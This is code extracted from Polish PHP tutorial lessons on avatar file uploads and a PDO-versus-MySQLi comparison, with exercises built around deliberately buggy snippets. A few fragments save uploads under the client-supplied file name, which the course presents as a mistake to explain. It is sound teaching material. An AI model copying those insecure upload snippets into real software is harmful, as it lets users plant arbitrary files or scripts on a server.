│   └── ... pozostałe                bez zmian
├── sql/
│   └── taskquest.sql                (zmiana: kolumna avatar)
└── uploads/                         NOWY
    └── avatary/                     NOWY (pusty — pliki wysyłają gracze)

<form method="post" action="brudnopis.php" enctype="multipart/form-data">
    <input type="file" name="avatar">
    <button type="submit">Wyślij</button>
</form>

$_FILES['avatar'] = [
    'name'     => 'kot.png',                    // nazwa pliku na komputerze użytkownika
    'type'     => 'image/png',                  // typ pliku podany przez przeglądarkę
    'tmp_name' => 'C:\xampp\tmp\php3A1F.tmp',   // gdzie PHP zapisał plik tymczasowo
    'error'    => 0,                            // kod błędu przesyłania (0 = bez błędu)
    'size'     => 48213,                        // rozmiar w bajtach
];

move_uploaded_file($_FILES['avatar']['tmp_name'], 'uploads/moj_plik.png');

var_dump(getimagesize('kot.png'));      // array(...) — [0] => szerokość, [1] => wysokość
var_dump(getimagesize('notatka.png'));  // bool(false) — to tekst, choć ma końcówkę .png

<?php

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    echo '<pre>';
    // wypisz $_FILES
    echo '</pre>';
}

?>
<form method="post" action="brudnopis.php" enctype="...">
    <!-- pole pliku o nazwie avatar i przycisk -->
</form>

<?php

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    echo '<pre>';
    print_r($_FILES);
    echo '</pre>';
}

?>
<form method="post" action="brudnopis.php" enctype="multipart/form-data">
    <input type="file" name="avatar">
    <button type="submit">Wyślij</button>
</form>

    var_dump(move_uploaded_file($_FILES['avatar']['tmp_name'], __DIR__ . '/test_upload/proba.png'));

echo 'upload_max_filesize: ' . ini_get('upload_max_filesize') . '<br>';
echo 'post_max_size: ' . ini_get('post_max_size') . '<br>';

    data_ostatniej_aktywnosci DATE NULL,       -- NULL = brak aktywności
    avatar VARCHAR(100) NULL                   -- (L21) nazwa pliku w uploads/avatary; NULL = brak avatara

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();
var_dump(wczytajUzytkownika($polaczenie, 1)->pobierzAvatar());

    private ?string $dataOstatniejAktywnosci;
    private ?string $avatar;

    public function __construct(
        int $id,
        string $login,
        string $imieUzytkownika,
        int $xp,
        int $streak,
        ?string $dataOstatniejAktywnosci,
        ?string $avatar
    ) {
        // ... dotychczasowe przypisania ...
        $this->avatar = $avatar;
    }

    public function pobierzAvatar(): ?string
    {
        return $this->avatar;
    }

    $zapytanie = $polaczenie->prepare(
        'SELECT id, login, imie, xp, streak, data_ostatniej_aktywnosci, avatar FROM uzytkownicy WHERE id = ?'
    );

        dataOstatniejAktywnosci: $wiersz['data_ostatniej_aktywnosci'],
        avatar: $wiersz['avatar'],
    );

// (L21) avatary graczy
define('KATALOG_AVATAROW', 'uploads/avatary');          // względem katalogu projektu
define('MAKS_ROZMIAR_AVATARA', 1024 * 1024);           // 1 MB w bajtach
define('DOZWOLONE_ROZSZERZENIA_AVATARA', ['jpg', 'jpeg', 'png', 'webp']);

<?php

// Funkcje TaskQuest do obsługi avatarów (Lekcja 21).
// Wymagają wcześniejszego dołączenia config/config.php (stałe ..._AVATARA).

function rozszerzenieAvatara(string $nazwaPliku): string
{
    return strtolower(pathinfo($nazwaPliku, PATHINFO_EXTENSION));
}

function walidujAvatar(array $plik): array

function walidujAvatar(array $plik): array
{
    $bledy = [];

    if ($plik['error'] === UPLOAD_ERR_NO_FILE) {
        $bledy[] = 'Wybierz plik z obrazkiem.';
        return $bledy;
    }

    // ... dwa kolejne warunki z kodem błędu ...

    // ... pusty plik ...

    if ($plik['size'] > MAKS_ROZMIAR_AVATARA) {
        // ...
    }

    if (!in_array(rozszerzenieAvatara($plik['name']), DOZWOLONE_ROZSZERZENIA_AVATARA, true)) {
        // ...
    } elseif (getimagesize($plik['tmp_name']) === false) {
        // ...
    }

    return $bledy;
}

function walidujAvatar(array $plik): array
{
    $bledy = [];

    if ($plik['error'] === UPLOAD_ERR_NO_FILE) {
        $bledy[] = 'Wybierz plik z obrazkiem.';
        return $bledy;
    }

    if ($plik['error'] === UPLOAD_ERR_INI_SIZE || $plik['error'] === UPLOAD_ERR_FORM_SIZE) {
        $bledy[] = 'Plik może mieć najwyżej 1 MB.';
        return $bledy;
    }

    if ($plik['error'] !== UPLOAD_ERR_OK) {
        $bledy[] = 'Nie udało się przesłać pliku. Spróbuj ponownie.';
        return $bledy;
    }

    if ($plik['size'] === 0) {
        $bledy[] = 'Wybrany plik jest pusty.';
        return $bledy;
    }

    if ($plik['size'] > MAKS_ROZMIAR_AVATARA) {
        $bledy[] = 'Plik może mieć najwyżej 1 MB.';
    }

    if (!in_array(rozszerzenieAvatara($plik['name']), DOZWOLONE_ROZSZERZENIA_AVATARA, true)) {
        $bledy[] = 'Dozwolone formaty: JPG, PNG, WEBP.';
    } elseif (getimagesize($plik['tmp_name']) === false) {
        $bledy[] = 'Wybrany plik nie jest obrazkiem.';
    }

    return $bledy;
}

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_avatara.php';

$przypadki = [
    ['name' => 'kot.png', 'tmp_name' => __DIR__ . '/kot.png', 'error' => UPLOAD_ERR_OK, 'size' => 5000],
    // ... dopisz kolejne przypadki z tabeli poniżej ...
];

foreach ($przypadki as $plik) {
    echo $plik['name'] . ': ';
    print_r(walidujAvatar($plik));
    echo '<br>';
}

function zapiszAvatarUzytkownika(mysqli $polaczenie, int $uzytkownikId, string $nazwaPlikuAvatara): void

function zapiszAvatarUzytkownika(mysqli $polaczenie, int $uzytkownikId, string $nazwaPlikuAvatara): void
{
    $zapytanie = $polaczenie->prepare('UPDATE uzytkownicy SET avatar = ? WHERE id = ?');
    $zapytanie->bind_param('si', $nazwaPlikuAvatara, $uzytkownikId);
    $zapytanie->execute();
}

?>

<h2>Twój profil</h2>
<p><a href="index.php">← Wróć do listy zadań</a></p>

<?php if ($bledy !== []) { ?>
    <div class="blad">
        <p>Popraw formularz:</p>
        <ul>
            <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
            <?php } ?>
        </ul>
    </div>
<?php } ?>

<?php if ($bladZapisu !== null) { ?>
    <p class="blad">Nie udało się zapisać avatara: <?= $bladZapisu; ?></p>
<?php } ?>

<form method="post" action="profil.php" enctype="multipart/form-data">
    <label for="avatar">Avatar (JPG, PNG lub WEBP, najwyżej 1 MB)</label>
    <input type="file" id="avatar" name="avatar" accept=".jpg,.jpeg,.png,.webp" required>

    <button type="submit">Zapisz avatar</button>
</form>

<?php require_once __DIR__ . '/includes/footer.php'; ?>

<p><a href="profil.php">Twój profil — zmień avatar</a></p>

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $plik = $_FILES['avatar'] ?? null;

    if ($plik === null) {
        $bledy[] = 'Plik jest za duży albo nie został wysłany.';
    } else {
        $bledy = walidujAvatar($plik);
    }
}

    if ($bledy === []) {
        $nazwaPlikuAvatara = 'avatar_' . ... . '_' . ... . '.' . ...;
        $sciezkaAvatara = __DIR__ . '/' . KATALOG_AVATAROW . '/' . $nazwaPlikuAvatara;

        if (!move_uploaded_file(..., ...)) {
            $bladZapisu = 'Nie udało się zapisać pliku na serwerze.';
        } else {
            try {
                // połączenie, zapis w bazie, komunikat, przekierowanie
            } catch (Exception $wyjatek) {
                $bladZapisu = $wyjatek->getMessage();
            }
        }
    }

    if ($bledy === []) {
        $nazwaPlikuAvatara = 'avatar_' . $_SESSION['uzytkownik_id'] . '_' . time() . '.' . rozszerzenieAvatara($plik['name']);
        $sciezkaAvatara = __DIR__ . '/' . KATALOG_AVATAROW . '/' . $nazwaPlikuAvatara;

        if (!move_uploaded_file($plik['tmp_name'], $sciezkaAvatara)) {
            $bladZapisu = 'Nie udało się zapisać pliku na serwerze.';
        } else {
            try {
                $polaczenie = polaczZBaza();
                zapiszAvatarUzytkownika($polaczenie, $_SESSION['uzytkownik_id'], $nazwaPlikuAvatara);

                ustawKomunikat('Avatar został zmieniony.');
                header('Location: index.php');
                exit;
            } catch (Exception $wyjatek) {
                $bladZapisu = $wyjatek->getMessage();
            }
        }
    }

<h2>Avatary</h2>
<?php if (!is_dir(__DIR__ . '/uploads/avatary')) { ?>
    <p>[BRAK] Katalog uploads/avatary nie istnieje — utwórz go w katalogu projektu.</p>
<?php } elseif (!is_writable(__DIR__ . '/uploads/avatary')) { ?>
    <p>[BRAK] Do katalogu uploads/avatary nie można zapisywać plików.</p>
<?php } else { ?>
    <p>[OK] Katalog uploads/avatary istnieje i można do niego zapisywać.</p>
<?php } ?>

.avatar { display: inline-block; width: 64px; height: 64px; border-radius: 50%; object-fit: cover; vertical-align: middle; }
.avatar-litera { background: #5b6ee1; color: #fff; font-size: 32px; font-weight: bold; line-height: 64px; text-align: center; }

<?php if ($uzytkownik->pobierzAvatar() !== null) { ?>
    <img class="avatar" src="..." alt="Avatar gracza">
<?php } else { ?>
    <span class="avatar avatar-litera"><?= ...; ?></span>
<?php } ?>

<?php if ($uzytkownik->pobierzAvatar() !== null) { ?>
    <img class="avatar" src="<?= KATALOG_AVATAROW . '/' . $uzytkownik->pobierzAvatar(); ?>" alt="Avatar gracza">
<?php } else { ?>
    <span class="avatar avatar-litera"><?= mb_substr($uzytkownik->pobierzImie(), 0, 1); ?></span>
<?php } ?>

$nazwaPlikuAvatara = $plik['name'];

uploads/avatary/        pusty katalog; tworzony ręcznie, nie przez aplikację

CREATE TABLE uzytkownicy (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    login VARCHAR(20) NOT NULL UNIQUE,
    imie VARCHAR(30) NOT NULL,
    haslo_hash VARCHAR(255) NULL,
    xp INT UNSIGNED NOT NULL DEFAULT 0,
    streak INT UNSIGNED NOT NULL DEFAULT 0,
    data_ostatniej_aktywnosci DATE NULL,       -- NULL = brak aktywności
    avatar VARCHAR(100) NULL                   -- (L21) nazwa pliku w uploads/avatary; NULL = brak avatara
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

// (L21) avatary graczy
define('KATALOG_AVATAROW', 'uploads/avatary');          // względem katalogu projektu
define('MAKS_ROZMIAR_AVATARA', 1024 * 1024);           // 1 MB w bajtach
define('DOZWOLONE_ROZSZERZENIA_AVATARA', ['jpg', 'jpeg', 'png', 'webp']);

<?php

// Funkcje TaskQuest do obsługi avatarów (Lekcja 21).
// Wymagają wcześniejszego dołączenia config/config.php (stałe ..._AVATARA).

function rozszerzenieAvatara(string $nazwaPliku): string
{
    return strtolower(pathinfo($nazwaPliku, PATHINFO_EXTENSION));
}

function walidujAvatar(array $plik): array
{
    $bledy = [];

    if ($plik['error'] === UPLOAD_ERR_NO_FILE) {
        $bledy[] = 'Wybierz plik z obrazkiem.';
        return $bledy;
    }

    if ($plik['error'] === UPLOAD_ERR_INI_SIZE || $plik['error'] === UPLOAD_ERR_FORM_SIZE) {
        $bledy[] = 'Plik może mieć najwyżej 1 MB.';
        return $bledy;
    }

    if ($plik['error'] !== UPLOAD_ERR_OK) {
        $bledy[] = 'Nie udało się przesłać pliku. Spróbuj ponownie.';
        return $bledy;
    }

    if ($plik['size'] === 0) {
        $bledy[] = 'Wybrany plik jest pusty.';
        return $bledy;
    }

    if ($plik['size'] > MAKS_ROZMIAR_AVATARA) {
        $bledy[] = 'Plik może mieć najwyżej 1 MB.';
    }

    if (!in_array(rozszerzenieAvatara($plik['name']), DOZWOLONE_ROZSZERZENIA_AVATARA, true)) {
        $bledy[] = 'Dozwolone formaty: JPG, PNG, WEBP.';
    } elseif (getimagesize($plik['tmp_name']) === false) {
        $bledy[] = 'Wybrany plik nie jest obrazkiem.';
    }

    return $bledy;
}

function zapiszAvatarUzytkownika(mysqli $polaczenie, int $uzytkownikId, string $nazwaPlikuAvatara): void
{
    $zapytanie = $polaczenie->prepare('UPDATE uzytkownicy SET avatar = ? WHERE id = ?');
    $zapytanie->bind_param('si', $nazwaPlikuAvatara, $uzytkownikId);
    $zapytanie->execute();
}

    public function pobierzAvatar(): ?string
    {
        return $this->avatar;
    }

<?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_avatara.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

wymagajLogowania();

$bledy = [];
$bladZapisu = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $plik = $_FILES['avatar'] ?? null;

    if ($plik === null) {
        $bledy[] = 'Plik jest za duży albo nie został wysłany.';
    } else {
        $bledy = walidujAvatar($plik);
    }

    if ($bledy === []) {
        $nazwaPlikuAvatara = 'avatar_' . $_SESSION['uzytkownik_id'] . '_' . time() . '.' . rozszerzenieAvatara($plik['name']);
        $sciezkaAvatara = __DIR__ . '/' . KATALOG_AVATAROW . '/' . $nazwaPlikuAvatara;

        if (!move_uploaded_file($plik['tmp_name'], $sciezkaAvatara)) {
            $bladZapisu = 'Nie udało się zapisać pliku na serwerze.';
        } else {
            try {
                $polaczenie = polaczZBaza();
                zapiszAvatarUzytkownika($polaczenie, $_SESSION['uzytkownik_id'], $nazwaPlikuAvatara);

                ustawKomunikat('Avatar został zmieniony.');
                header('Location: index.php');
                exit;
            } catch (Exception $wyjatek) {
                $bladZapisu = $wyjatek->getMessage();
            }
        }
    }
}

$nazwaStrony = 'Profil — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>

<h2>Twój profil</h2>
<p><a href="index.php">← Wróć do listy zadań</a></p>

<?php if ($bledy !== []) { ?>
    <div class="blad">
        <p>Popraw formularz:</p>
        <ul>
            <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
            <?php } ?>
        </ul>
    </div>
<?php } ?>

<?php if ($bladZapisu !== null) { ?>
    <p class="blad">Nie udało się zapisać avatara: <?= $bladZapisu; ?></p>
<?php } ?>

<form method="post" action="profil.php" enctype="multipart/form-data">
    <label for="avatar">Avatar (JPG, PNG lub WEBP, najwyżej 1 MB)</label>
    <input type="file" id="avatar" name="avatar" accept=".jpg,.jpeg,.png,.webp" required>

    <button type="submit">Zapisz avatar</button>
</form>

<?php require_once __DIR__ . '/includes/footer.php'; ?>

<?php if ($uzytkownik->pobierzAvatar() !== null) { ?>
    <img class="avatar" src="<?= KATALOG_AVATAROW . '/' . $uzytkownik->pobierzAvatar(); ?>" alt="Avatar gracza">
<?php } else { ?>
    <span class="avatar avatar-litera"><?= mb_substr($uzytkownik->pobierzImie(), 0, 1); ?></span>
<?php } ?>

<p><a href="profil.php">Twój profil — zmień avatar</a></p>

.avatar { display: inline-block; width: 64px; height: 64px; border-radius: 50%; object-fit: cover; vertical-align: middle; }
.avatar-litera { background: #5b6ee1; color: #fff; font-size: 32px; font-weight: bold; line-height: 64px; text-align: center; }

<h2>Avatary</h2>
<?php if (!is_dir(__DIR__ . '/uploads/avatary')) { ?>
    <p>[BRAK] Katalog uploads/avatary nie istnieje — utwórz go w katalogu projektu.</p>
<?php } elseif (!is_writable(__DIR__ . '/uploads/avatary')) { ?>
    <p>[BRAK] Do katalogu uploads/avatary nie można zapisywać plików.</p>
<?php } else { ?>
    <p>[OK] Katalog uploads/avatary istnieje i można do niego zapisywać.</p>
<?php } ?>

        <p>TaskQuest 2.1</p>
    </div>
</body>
</html>

wszystko z Lekcji 19: logowanie (login bez hasła), sesja z uzytkownik_id, zadania w bazie,
dodawanie, „Zrobione!” z XP i streakiem, usuwanie, ranking, filtr widoku z cookie, komunikaty jednorazowe
schemat strony z formularzem (L13), walidacja zwracająca tablicę błędów, POST → przekierowanie → GET
funkcje bazy z L18–L19, klasy Zadanie i Uzytkownik (poza nowym polem), wszystkie funkcje z L1–L15

baza: uzytkownicy.avatar VARCHAR(100) NULL
config.php: KATALOG_AVATAROW, MAKS_ROZMIAR_AVATARA, DOZWOLONE_ROZSZERZENIA_AVATARA
includes/funkcje_avatara.php:
    rozszerzenieAvatara(string $nazwaPliku): string
    walidujAvatar(array $plik): array
includes/funkcje_bazy.php:
    zapiszAvatarUzytkownika(mysqli, int $uzytkownikId, string $nazwaPlikuAvatara): void
Uzytkownik: ?string $avatar, pobierzAvatar(): ?string
profil.php — formularz avatara (multipart/form-data)
uploads/avatary/ — katalog na pliki
index.php: avatar albo litera przy powitaniu, link do profilu
header.php: .avatar, .avatar-litera
diagnostyka.php: 21 plików, sekcja „Avatary”

[ ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
[ ] Potrafię zbudować formularz wysyłający plik i wiem, po co jest enctype="multipart/form-data".
[ ] Znam pięć kluczy tablicy $_FILES['pole'] i wiem, którym z nich można ufać.
[ ] Wiem, co się dzieje z plikiem tymczasowym, gdy skrypt go nie przeniesie.
[ ] Potrafię rozpoznać brak pliku, przekroczony limit i przerwane przesyłanie po kodzie UPLOAD_ERR_...
[ ] Wiem, dlaczego $_FILES['avatar'] czytam przez ?? null.
[ ] Potrafię sprawdzić rozszerzenie pliku z listą dozwolonych i wiem, po co strtolower().
[ ] Wiem, co sprawdza getimagesize() i czego nie sprawdza samo rozszerzenie.
[ ] Potrafię wyjaśnić, dlaczego plik zapisuję pod własną nazwą, a nie pod $_FILES['avatar']['name'].
[ ] Wiem, dlaczego w bazie zapisuję nazwę pliku, a nie cały plik ani pełną ścieżkę.
[ ] Wiem, dlaczego pole pliku nie zachowuje wybranego pliku po błędzie.
[ ] Usunęłam/usunąłem brudnopisy i pliki testowe.

$plik = $_FILES['avatar'];
if ($plik['error'] == 0 && $plik['size'] < 1000000) {
    move_uploaded_file($plik['tmp_name'], 'uploads/avatary/' . $plik['name']);
}

PODSUMOWANIE LEKCJI

$id     = (int)($_GET['id'] ?? 0);        // liczba z adresu, 0 gdy brak
$szukaj = trim($_GET['q'] ?? '');         // tekst z adresu
$login  = trim($_POST['login'] ?? '');    // tekst z formularza
$motyw  = $_COOKIE['motyw'] ?? 'jasny';   // ciasteczko z wartością domyślną

if ($_SERVER['REQUEST_METHOD'] === 'POST') { /* formularz został wysłany */ }
if (isset($_POST['login'])) { /* wersja egzaminacyjna: sprawdzenie pola */ }

echo htmlspecialchars($szukaj);           // zanim pokażesz dane użytkownika na stronie

session_start();                          // przed jakimkolwiek wyjściem
$_SESSION['uzytkownik_id'] = 1;
$id = $_SESSION['uzytkownik_id'] ?? null;
unset($_SESSION['komunikat']);            // usunięcie jednego klucza
session_destroy();                        // koniec całej sesji (wylogowanie)

setcookie('motyw', 'ciemny', time() + 30 * 24 * 60 * 60);   // na 30 dni
setcookie('motyw', '', time() - 3600);                      // usunięcie
// odczyt dopiero przy NASTĘPNYM żądaniu: $_COOKIE['motyw']

<form method="post" action="profil.php" enctype="multipart/form-data">
    <input type="file" name="avatar" accept=".jpg,.jpeg,.png,.webp" required>
    <button type="submit">Zapisz avatar</button>
</form>

$plik = $_FILES['avatar'] ?? null;                 // null, gdy przekroczono post_max_size

$plik['error']    // 0 = OK; 1 = za duży (php.ini); 3 = urwane; 4 = nie wybrano pliku
$plik['size']     // rozmiar w bajtach (PHP)
$plik['tmp_name'] // plik tymczasowy — znika po skrypcie
$plik['name']     // nazwa od użytkownika — tylko do wyciągnięcia rozszerzenia
$plik['type']     // typ od przeglądarki — nie używamy

$rozszerzenie = strtolower(pathinfo($plik['name'], PATHINFO_EXTENSION));
in_array($rozszerzenie, ['jpg', 'jpeg', 'png', 'webp'], true);
getimagesize($plik['tmp_name']) === false;         // to nie jest obrazek

$nazwa = 'avatar_' . $_SESSION['uzytkownik_id'] . '_' . time() . '.' . $rozszerzenie;
move_uploaded_file($plik['tmp_name'], __DIR__ . '/uploads/avatary/' . $nazwa);

$_SERVER['REQUEST_METHOD']   // 'GET' albo 'POST'
$_SERVER['REQUEST_URI']      // /profil.php?id=5
$_SERVER['QUERY_STRING']     // id=5&sort=level
$_SERVER['REMOTE_ADDR']      // adres IP użytkownika
$_SERVER['HTTP_USER_AGENT']  // przeglądarka (dane od klienta!)
$_SERVER['DOCUMENT_ROOT']    // katalog główny serwera

Artykuł 21. PHP – Superglobals pochodzi z serwisu Kama Kaczmarek.

Lekcja 19: INSERT, UPDATE, DELETE z PHP.

1. Ola ma id = 2 i dokładnie 100 XP. Co wypisze ten kod?

$xp = 100;
$id = 2;
$zapytanie = $polaczenie->prepare('UPDATE uzytkownicy SET xp = ? WHERE id = ?');
$zapytanie->bind_param('ii', $xp, $id);
$zapytanie->execute();
var_dump($zapytanie->affected_rows);

Uzasadnij wynik.

2. Znajdź błąd:

$zapytanie = $polaczenie->prepare('INSERT INTO zadania (uzytkownik_id, tytul) VALUES (?, ?)');
$zapytanie->bind_param('is', 2, $tytul);

3. Dlaczego ostatnia linia nie ma sensu?

$zapytanie = $polaczenie->prepare('DELETE FROM zadania WHERE id = ?');
$zapytanie->bind_param('i', $zadanieId);
$zapytanie->execute();
$wynik = $zapytanie->get_result();

4. Uzupełnij warunek tak, aby XP za zadanie można było dostać tylko raz i tylko za swoje zadanie:

UPDATE zadania SET data_wykonania = CURDATE()
WHERE ...

5. Skrypt dodający zadanie wykonuje INSERT, a potem od razu wypisuje HTML z komunikatem „Dodano”. Co się stanie, gdy użytkownik wciśnie F5? Jak nazywa się wzorzec, który rozwiązuje ten problem, i z jakich trzech kroków się składa?

6. Co zwraca $zapytanie->insert_id i która funkcja z czasów CSV stała się dzięki temu niepotrzebna?

7. W DELETE FROM zadania pominięto WHERE. Ile wierszy zniknie i co zwróci affected_rows?

Dodatek

PDO (PHP Data Objects) – ZALECANE dla większości projektów

PDO to obecnie najlepszy wybór dla nowoczesnych aplikacji PHP ze względu na:

• Uniwersalność (możliwość zmiany bazy danych)
• Czytelność kodu (named parameters)
• Bezpieczeństwo (domyślne prepared statements)
• Zgodność ze standardami branżowymi
• Wsparcie dla frameworków (Laravel, Symfony używają PDO)

Szczegółowe porównanie tabelaryczne

Porównanie kodu – Przykłady praktyczne

Przykład 1: Połączenie z bazą

PDO (zalecane):

try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=app_db;charset=utf8mb4',
        'username',
        'password',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
        ]
    );
    echo "Połączono z bazą!";
} catch (PDOException $e) {
    die("Błąd: " . $e->getMessage());
}

MySQLi (obiektowo):

$mysqli = new mysqli('localhost', 'username', 'password', 'app_db');

if ($mysqli->connect_error) {
    die("Błąd: " . $mysqli->connect_error);
}

$mysqli->set_charset('utf8mb4');
echo "Połączono z bazą!";

MySQLi (proceduralnie) – NIE POLECANE:

$conn = mysqli_connect('localhost', 'username', 'password', 'app_db');

if (!$conn) {
    die("Błąd: " . mysqli_connect_error());
}

mysqli_set_charset($conn, 'utf8mb4');
echo "Połączono z bazą!";

Werdykt: PDO wygrywa – zwięzłe, z automatyczną obsługą wyjątków.

Przykład 2: Prepared Statements (bezpieczeństwo)

PDO (zalecane) – Named Parameters:

// Bardzo czytelne - wiadomo co jest czym
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = :email AND active = :active");
$stmt->execute([
    'email' => $email,
    'active' => 1
]);
$user = $stmt->fetch();

MySQLi (obiektowo):

// Mniej czytelne - trzeba pamiętać kolejność
$stmt = $mysqli->prepare("SELECT * FROM users WHERE email = ? AND active = ?");
$aktywny = 1;
$stmt->bind_param("si", $email, $aktywny);  // s=string, i=integer
$stmt->execute();
$result = $stmt->get_result();
$user = $result->fetch_assoc();

MySQLi (proceduralnie) – NIE POLECANE:

// Najbardziej rozwlekłe
$stmt = mysqli_prepare($conn, "SELECT * FROM users WHERE email = ? AND active = ?");
$aktywny = 1;
mysqli_stmt_bind_param($stmt, "si", $email, $aktywny);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$user = mysqli_fetch_assoc($result);

Przykład 3: INSERT z pobieraniem ID

PDO (zalecane):

$stmt = $pdo->prepare("INSERT INTO users (username, email) VALUES (:username, :email)");
$stmt->execute([
    'username' => $username,
    'email' => $email
]);
$userId = $pdo->lastInsertId();
echo "Dodano użytkownika ID: $userId";

MySQLi (obiektowo):

$stmt = $mysqli->prepare("INSERT INTO users (username, email) VALUES (?, ?)");
$stmt->bind_param("ss", $username, $email);
$stmt->execute();
$userId = $mysqli->insert_id;
echo "Dodano użytkownika ID: $userId";

MySQLi (proceduralnie) – NIE POLECANE:

$stmt = mysqli_prepare($conn, "INSERT INTO users (username, email) VALUES (?, ?)");
mysqli_stmt_bind_param($stmt, "ss", $username, $email);
mysqli_stmt_execute($stmt);
$userId = mysqli_insert_id($conn);
echo "Dodano użytkownika ID: $userId";

Przykład 4: Transakcje

PDO (zalecane):

try {
    $pdo->beginTransaction();
    
    $pdo->exec("UPDATE accounts SET balance = balance - 100 WHERE id = 1");
    $pdo->exec("UPDATE accounts SET balance = balance + 100 WHERE id = 2");
    
    $pdo->commit();
    echo "Przelew wykonany!";
} catch (Exception $e) {
    $pdo->rollBack();
    echo "Błąd: " . $e->getMessage();
}

MySQLi (obiektowo):

$mysqli->begin_transaction();

try {
    $mysqli->query("UPDATE accounts SET balance = balance - 100 WHERE id = 1");
    $mysqli->query("UPDATE accounts SET balance = balance + 100 WHERE id = 2");
    
    $mysqli->commit();
    echo "Przelew wykonany!";
} catch (Exception $e) {
    $mysqli->rollback();
    echo "Błąd: " . $e->getMessage();
}

MySQLi (proceduralnie) – NIE POLECANE:

mysqli_begin_transaction($conn);

$success = mysqli_query($conn, "UPDATE accounts SET balance = balance - 100 WHERE id = 1");
$success = $success && mysqli_query($conn, "UPDATE accounts SET balance = balance + 100 WHERE id = 2");

if ($success) {
    mysqli_commit($conn);
    echo "Przelew wykonany!";
} else {
    mysqli_rollback($conn);
    echo "Błąd: " . mysqli_error($conn);
}

Kiedy używać którego rozwiązania?

• Budujesz nowy projekt (zawsze!)
• Chcesz mieć możliwość zmiany bazy danych w przyszłości
• Pracujesz nad aplikacją komercyjną
• Uczysz się nowoczesnego PHP
• Chcesz kodu zgodnego z branżowymi standardami
• Planujesz używać frameworków (Laravel, Symfony)
• Cenisz czytelność kodu (named parameters)

Przykłady projektów:

• System CRM
• E-commerce
• Blog/CMS
• API REST
• Aplikacja webowa SaaS
• Panel Discord bota
• System zarządzania treningami

Używaj MySQLi (obiektowo) gdy:

• Na 100% będziesz używać tylko MySQL/MariaDB
• Potrzebujesz asynchronicznych zapytań
• Potrzebujesz multiple statements
• Pracujesz z istniejącym projektem używającym MySQLi
• Wydajność jest KRYTYCZNA (różnica ~1-2%)

Przykłady projektów:

• Wysoko obciążony system (miliony zapytań/dzień)
• Integracje wymagające multiple queries
• Migracja starego projektu z mysql do mysqli

Używaj MySQLi (proceduralnie) TYLKO gdy:

• Pracujesz z bardzo starym kodem legacy
• Musisz utrzymywać stary projekt

NIE UŻYWAJ w nowych projektach! To przestarzałe podejście.

PODSUMOWANIE LEKCJI

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$polaczenie = new mysqli('localhost', 'root', '', 'nazwa_bazy');
$polaczenie->set_charset('utf8mb4');

$zapytanie = $polaczenie->prepare('SELECT id, nazwa FROM obiekty WHERE idKontynent = ?');
$zapytanie->bind_param('i', $idKontynent);
$zapytanie->execute();
$wynik = $zapytanie->get_result();

while ($wiersz = $wynik->fetch_assoc()) {
    echo '<p>' . $wiersz['nazwa'] . '</p>';
}

$polaczenie->close();

$pdo = new PDO('mysql:host=localhost;dbname=nazwa_bazy;charset=utf8mb4', 'root', '', [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]);

$zapytanie = $pdo->prepare('SELECT id, nazwa FROM obiekty WHERE idKontynent = :id');
$zapytanie->execute(['id' => $idKontynent]);

foreach ($zapytanie as $wiersz) {
    echo '<p>' . $wiersz['nazwa'] . '</p>';
}

$pdo = null;

// A
$w = $st->fetchAll();
// B
$w = $wynik->fetch_all(MYSQLI_ASSOC);
// C
$w = mysqli_fetch_assoc($wynik);

$st = $polaczenie->prepare('SELECT nick FROM turysci WHERE idTurysta = ?');
$st->bind_param('i', $idTurysty);
$st->execute();

$pdo = new PDO('mysql:host=localhost;dbname=wodospady', 'root', '');
$st = $pdo->prepare('SELECT * FROM obiekty WHERE idRodzaj = ?');
$st->bind_param('i', $idRodzaj);

$st = $pdo->prepare('INSERT INTO osiagniecia (idObiekt, idTurysta) VALUES (:obiekt, :turysta)');
$st->execute([________]);
$noweId = ________;

$polaczenie = new mysqli('localhost', 'root', '', 'wodospady');
$st = $polaczenie->prepare('UPDATE turysci SET nick = ? WHERE idTurysta = ?');
$st->bind_param('s', $nick, $id);
$st->execute();

$st = $pdo->prepare('SELECT nick FROM turysci WHERE idTurysta = :id');
$st->execute(['id' => $idTurysty]);

$st->execute(['obiekt' => $idObiektu, 'turysta' => $idTurysty]);
$noweId = $pdo->lastInsertId();

Artykuł 20. PHP – które rozwiązanie wybrać? Kompleksowe porównanie – mysqli czy PDO, obiektowe czy proceduralne? pochodzi z serwisu Kama Kaczmarek.

Lekcja 18: połączenie z bazą, SELECT, prepared statements, SQL injection.

1. To zapytanie nie zwraca żadnego wiersza, choć w tabeli są zadania bez daty wykonania. Dlaczego i jak je poprawić?SELECT tytul FROM zadania WHERE data_wykonania = NULL;


2. Znajdź błąd:$zapytanie = $polaczenie->prepare("SELECT id, login FROM uzytkownicy WHERE login = '?'");
$zapytanie->bind_param('s', $login);


3. Zapytanie ma warunek WHERE uzytkownik_id = ? AND termin < ? AND xp >= ? (kolumny kolejno: liczba, data, liczba). Jaki będzie pierwszy argument bind_param()?

4. Co zwraca fetch_assoc(), gdy wiersze się skończyły? Czym różni się od num_rows?

